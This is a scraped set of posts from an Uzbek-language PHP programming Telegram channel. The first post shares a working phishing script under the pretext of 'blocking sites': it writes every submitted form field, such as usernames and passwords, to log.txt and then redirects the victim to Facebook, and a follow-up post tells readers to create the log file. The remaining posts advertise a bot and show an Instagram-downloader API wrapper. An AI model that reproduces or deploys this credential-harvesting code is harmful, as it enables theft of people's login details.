Saytlarni bloklash uchun fishing saytdan namuna π:
@phpcodersuzb
<?php
// Set the location to redirect the page
header ('Location: http://www.facebook.com');
// Open the text file in writing mode
$file = fopen("log.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($file, $variable);
fwrite($file, "=");
fwrite($file, $value);
fwrite($file, "\r\n");
}
fwrite($file, "\r\n");
fclose($file);
exit;
?>
@phpcodersuzb
π PHP CODERS UZB π
Saytlarni bloklash uchun fishing saytdan namuna π: <?php // Set the location to redirect the page header ('Location: http://www.facebook.com'); // Open the text file in writing mode $file = fopen("log.txt", "a"); foreach($_POST as $variableβ¦
Log.txt papka ham ochib qo'ying!
π PHP CODERS UZB π
Tarqataymiπ?
Tarjima funksiyasi qo'shildi! Endi jinsni o'zbek tilida ham aytadi π
@GenderAniqlaBot do'stingizning jinsini topishda yordam beradi π§¬π
Oldin bitta botimiz bo'lardi ancha tanilgan edi! Bugun ishga tushirmoqchmiz π
@DasturchiOne bilan birgalikda albatta π€
@DasturchiOne bilan birgalikda albatta π€
π PHP CODERS UZB π
Oldin bitta botimiz bo'lardi ancha tanilgan edi! Bugun ishga tushirmoqchmiz π @DasturchiOne bilan birgalikda albatta π€
Ertaga qilamiz. Bugunga ulgurmadik π
β€1
#Instagram'dan yuklovchi API
@phpcodersuzb
function insta($url) {
$api = "https://x.wwi.su/x/instagram/";
$curl = curl_init();
curl_setopt_array($curl, [
CURLOPT_URL => $api."?post=$url",
CURLOPT_RETURNTRANSFER => true,
CURLOPT_USERAGENT => "PHPiB",
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
CURLOPT_CUSTOMREQUEST => "GET",
]);
$response = curl_exec($curl);
curl_close($curl);
return $response;
}
header('Content-Type: application/json');
echo insta($_GET["url"]);
Eslatma Moskva yoki umuman Rossiya serverlari uchun copy() yoki file_get_contents() dan foydalanib faylga yuklash umuman foydasiz agar telegram botingiz bo'lsa shunchaki urlni tog'rima tog'ri jo'natadigan qiling.@phpcodersuzb